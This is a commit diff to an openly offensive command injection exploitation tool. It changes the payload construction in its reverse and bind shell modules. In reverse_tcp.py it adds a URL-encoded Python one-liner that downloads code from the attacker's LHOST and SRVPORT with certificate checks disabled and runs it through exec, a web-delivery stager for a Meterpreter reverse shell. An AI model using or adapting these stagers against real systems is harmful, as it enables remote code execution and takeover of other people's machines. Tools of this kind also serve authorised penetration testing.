Skip to content

Commit 4a9e0a7

Browse files
committed
Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell).
1 parent b2eb21c commit 4a9e0a7

File tree

4 files changed

+11
-11
lines changed

4 files changed

+11
-11
lines changed

doc/CHANGELOG.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
## Version 3.3 (TBA)
2+
* Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell).
23
* Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script.
34
* Added: New tamper script "backticks.py" that uses backticks instead of "$()", for commands substitution. (for *nix targets).
45
* Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check.

src/core/shells/bind_tcp.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -408,7 +408,7 @@ def other_bind_shells(separator):
408408
with open (output, "r") as content_file:
409409
data = content_file.readlines()
410410
data = ''.join(data)
411-
data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
411+
#data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
412412

413413
print(settings.SINGLE_WHITESPACE)
414414
# Remove the ouput file.
@@ -422,9 +422,9 @@ def other_bind_shells(separator):
422422

423423
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
424424
set_python_working_dir()
425-
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
425+
other_shell = settings.WIN_PYTHON_DIR + " -c " + data
426426
else:
427-
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c \"exec('" + data + "'.decode('base64'))\""
427+
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
428428
msf_launch_msg(output)
429429
except:
430430
print(settings.SINGLE_WHITESPACE)

src/core/shells/reverse_tcp.py

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -446,7 +446,7 @@ def other_reverse_shells(separator):
446446
with open (output, "r") as content_file:
447447
data = content_file.readlines()
448448
data = ''.join(data)
449-
data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
449+
#data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
450450

451451
print(settings.SINGLE_WHITESPACE)
452452
# Remove the ouput file.
@@ -460,9 +460,9 @@ def other_reverse_shells(separator):
460460

461461
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
462462
set_python_working_dir()
463-
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
463+
other_shell = settings.WIN_PYTHON_DIR + " -c " + data
464464
else:
465-
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c \"exec('" + data + "'.decode('base64'))\""
465+
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
466466
msf_launch_msg(output)
467467
except:
468468
print(settings.SINGLE_WHITESPACE)
@@ -632,13 +632,12 @@ def other_reverse_shells(separator):
632632
"exploit\n\n")
633633

634634
if web_delivery == '1':
635-
data = "; r=_urllib.request.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'); exec(r.read());"
636-
data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
635+
data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b"
637636
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
638637
set_python_working_dir()
639-
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
638+
other_shell = settings.WIN_PYTHON_DIR + " -c " + data
640639
else:
641-
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c \"exec('" + data + "'.decode('base64'))\""
640+
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
642641
msf_launch_msg(output)
643642
break
644643
elif web_delivery == '2':

src/utils/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -216,7 +216,7 @@ def sys_argv_errors():
216216
DESCRIPTION = "The command injection exploiter"
217217
AUTHOR = "Anastasios Stasinopoulos"
218218
VERSION_NUM = "3.3"
219-
REVISION = "44"
219+
REVISION = "45"
220220
STABLE_RELEASE = False
221221
if STABLE_RELEASE:
222222
VERSION = "v" + VERSION_NUM + "-stable"

0 commit comments

Comments
 (0)